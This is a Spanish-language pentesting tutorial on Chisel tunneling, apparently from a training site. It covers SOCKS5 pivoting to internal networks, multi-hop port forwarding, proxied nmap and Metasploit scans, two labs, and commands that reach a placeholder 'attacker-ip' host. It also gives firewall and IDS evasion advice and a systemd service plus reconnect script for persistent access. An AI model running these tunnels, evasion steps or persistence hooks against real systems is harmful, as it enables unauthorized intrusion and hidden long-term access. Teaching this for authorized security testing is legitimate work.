Saltar al contenido principal

Chisel

Tunneling1.xRed Team

Herramienta de tunneling y port forwarding basada en HTTP/HTTPS. Permite crear túneles SOCKS5 y port forwards a través de firewalls, ideal para pivoting en auditorías de seguridad.

Chisel: tunneling y port forwarding

Arquitectura cliente-servidor, modos de operación y casos de uso

Chisel es una herramienta de tunneling de código abierto escrita en Go. Crea túneles cifrados sobre HTTP/HTTPS, lo que la hace excelente para evadir firewalls yIDS/IPS que permiten tráfico HTTP pero bloquean otros protocolos.

¿Qué hace Chisel? • Port forwarding local (L): expone un puerto local al servidor • Port forwarding remoto (R): expone un puerto del servidor al cliente • SOCKS5 proxy: crea un proxy SOCKS para tunelizar cualquier tráfico • Multi-hop: encadenar múltiples chiseles para llegar a redes internas

¿Por qué Chisel sobre otros túneles? • Binario estático sin dependencias (Go) • Funciona sobre HTTP/HTTPS (evade firewalls) • Soporta multiplexing de canales • Autenticación con credenciales o tokens • Compila para todas las plataformas (Windows, Linux, macOS)

Casos de uso en pentesting:

  1. Acceder a una red interna desde fuera del perímetro
  2. Pivoting entre segmentos de red
  3. Exponer servicios internos para análisis
  4. Evadir firewalls que solo permiten HTTP/S
  5. Mantener persistencia de acceso
bash
# ── INSTALACIÓN ───────────────────────────────────────
# Descargar binario precompilado
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# O compilar desde fuente
go install github.com/jpillora/chisel@latest

# Verificar
chisel --version

# ── SERVIDOR (en máquina atacante) ────────────────────
# Escuchar en puerto 8080, permitir conexiones
chisel server --port 8080

# Con autenticación
chisel server --port 8080 --auth usuario:password

# Con SOCKS5 habilitado
chisel server --port 8080 --socks5

# ── CLIENTE (desde máquina objetivo) ──────────────────
# Conectar al servidor y crear túnel local
chisel client attacker-ip:8080 9090:localhost:3389
# → Accedes a RDP del objetivo vía localhost:9090

# SOCKS5 proxy
chisel client attacker-ip:8080 1080:socks
# → Usas proxychains para tunelizar tráfico

# Port forwarding remoto
chisel client attacker-ip:8080 R:8443:internal-host:443
# → El servidor expone el puerto 8443 al internal-host:443

# ── PIVOTING A TRAVÉS DE MÚLTIPLES HOPS ──────────────
# Hop 1: desde DMZ a red interna
chisel client attacker-ip:8080 R:9090:10.10.10.1:3389

# Hop 2: desde interna a red de datos
chisel client 10.10.10.1:9090 R:9091:172.16.0.1:445

# ── USO CON PROXYCHAINS ───────────────────────────────
# Configurar proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# Usar cualquier herramienta a través del túnel
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains curl http://172.16.0.50/internal-app/

💡Chisel sobre HTTPS (chisel server --tls-key key.pem --tls-cert cert.pem) es casi indetectable porque el tráfico parece una conexión web normal. Usa un dominio legítimo con Let's Encrypt para mayor disimulo.

Escenarios avanzados de pivoting

Multi-hop, evasión de firewalls y persistencia

En auditorías de seguridad reales, rara vez se tiene acceso directo a la red objetivo. Chisel permite crear túneles encadenados para llegar a cualquier segmento de red.

Multi-hop patterns:

  1. Internet → DMZ → Red interna → Red de datos
  2. WiFi → VLAN de invitados → VLAN corporativa
  3. VPN parcial → Segmento restringido → DC

Evasión de firewalls: • Usar HTTPS con certificados válidos • Traffic shaping para evitar detección por volumen • Domain fronting para ocultar el destino real • Chisel server en un VPS con CDN (Cloudflare)

Persistencia: • Instalar chisel como servicio (systemd) • Auto-reconnect con scripts de watchdog • Chisel server en VPS con supervisión

bash
# ── SERVIDOR HTTPS CON CERTIFICADO REAL ───────────────
# Generar certificado con Let's Encrypt
certbot certonly --standalone -d tunnel.empresa.com

# Iniciar chisel con TLS
chisel server --port 443 \
  --tls-cert /etc/letsencrypt/live/tunnel.empresa.com/fullchain.pem \
  --tls-key /etc/letsencrypt/live/tunnel.empresa.com/privkey.pem \
  --auth pentest:SecurePass123 \
  --socks5

# ── CLIENTE CON RECONEXIÓN AUTOMÁTICA ─────────────────
cat > chisel_reconnect.sh << 'SCRIPT'
#!/bin/bash
while true; do
    echo "[$(date)] Conectando al servidor Chisel..."
    chisel client --auth pentest:SecurePass123 \
      https://tunnel.empresa.com 1080:socks \
      --keepalive 30s
    echo "[$(date)] Conexión perdida. Reconectando en 5s..."
    sleep 5
done
SCRIPT
chmod +x chisel_reconnect.sh

# ── MODO SERVICIO SYSTEMD ─────────────────────────────
cat > /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Client Tunnel
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/chisel client --auth pentest:SecurePass123 \
  https://tunnel.empresa.com 1080:socks
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable chisel
systemctl start chisel

# ── PIVOTING COMPLETO: 3 HOPS ─────────────────────────
# Hop 1: Exponer SSH de la DMZ
chisel client attacker-vps:443 R:2222:192.168.1.10:22

# Hop 2: Desde DMZ, exponer DC de red interna
ssh -L 3389:10.0.0.5:3389 usuario@192.168.1.10
# O con chisel desde DMZ:
chisel client attacker-vps:443 R:3389:10.0.0.5:3389

# Hop 3: Desde interna, exponer base de datos
chisel client attacker-vps:443 R:5432:172.16.0.20:5432

# RESULTADO: Accedes a la DB desde tu máquina atacante
psql -h 127.0.0.1 -p 5432 -U admin targetdb

💡Si el firewall inspecciona paquetes (DPI), usa --keepalive y fragmenta el tráfico. También puedes configurar el server en un puerto estándar (443 o 80) para que el tráfico pase desapercibido.

Labs Prácticos

Básico 20 min

Lab 1: Port forwarding básico con Chisel

Objetivo

Configurar un servidor Chisel y un cliente para crear un túnel de port forwarding que permita acceder a un servicio interno.

Escenario

Estás en una auditoría de seguridad y tienes acceso SSH a una máquina en la DMZ (192.168.1.10). Detrás de esa máquina hay un servidor web interno (10.0.0.50:80) al que no tienes acceso directo. Necesitas exposelo para analizarlo.

Pasos

1

Descargar e instalar Chisel en ambas máquinas

2

Iniciar el servidor Chisel en tu máquina atacante

3

Conectar el cliente desde la DMZ para crear un túnel

4

Verificar que el servicio interno sea accesible a través del túnel

bash — práctica
# EN TU MÁQUINA ATACANTE (Kali/Parrot)
# Descargar Chisel
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# Iniciar servidor en puerto 8080
chisel server --port 8080

# DESDE LA DMZ (192.168.1.10) — crear túnel
# Exponer 10.0.0.50:80 a localhost:8080 en el servidor
chisel client attacker-ip:8080 8080:10.0.0.50:80

# VERIFICAR desde tu máquina atacante
curl http://localhost:8080
# Deberías ver el servidor web interno

# PARA ACCEDER A RDP (puerto 3389)
chisel client attacker-ip:8080 13389:10.0.0.25:3389
# Desde Kali: rdesktop localhost:13389

Resultado esperado

El servidor web interno (10.0.0.50:80) será accesible a través de localhost:8080 en tu máquina atacante. Podrás hacer curl, nmap o usar cualquier herramienta localmente para analizar el servicio.

Intermedio 30 min

Lab 2: SOCKS5 proxy y pivoting con proxychains

Objetivo

Configurar Chisel como proxy SOCKS5 para tunelizar tráfico completo a través de un túnel, usando proxychains para hacer nmap, metasploit y otras herramientas.

Escenario

Tienes acceso a una máquina en la DMZ (192.168.1.10). Necesitas escanear toda la red interna (10.0.0.0/24) que está detrás del firewall. El firewall solo permite tráfico HTTP/S saliente.

Pasos

1

Configurar Chisel server con SOCKS5 habilitado

2

Crear túnel SOCKS5 desde la DMZ

3

Configurar proxychains para usar el túnel

4

Escanear la red interna a través del proxy

bash — práctica
# EN TU MÁQUINA ATACANTE
# Iniciar servidor con SOCKS5
chisel server --port 8080 --socks5

# DESDE LA DMZ (192.168.1.10)
# Crear proxy SOCKS5 en puerto 1080
chisel client attacker-ip:8080 1080:socks

# CONFIGURAR PROXYCHAINS
sudo nano /etc/proxychains4.conf
# Agregar al final:
# socks5 127.0.0.1 1080

# ESCANEAR RED INTERNA A TRAVÉS DEL PROXY
proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.0.0.0/24

# ESCANEAR UN HOST ESPECÍFICO
proxychains nmap -sV -Pn 10.0.0.50

# USAR METASPLOIT A TRAVÉS DEL PROXY
proxychains msfconsole
msf6> use auxiliary/scanner/smb/smb_version
msf6> set RHOSTS 10.0.0.0/24
msf6> run

# ACCEDER A WEBS INTERNAS
proxychains curl http://10.0.0.50/intranet/
proxychains firefox http://10.0.0.100/admin/

Resultado esperado

Con proxychains configurado, todas las herramientas (nmap, metasploit, curl, firefox) funcionarán a través del túnel SOCKS5. Podrás escanear hosts internos como si estuvieras en la misma red.

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.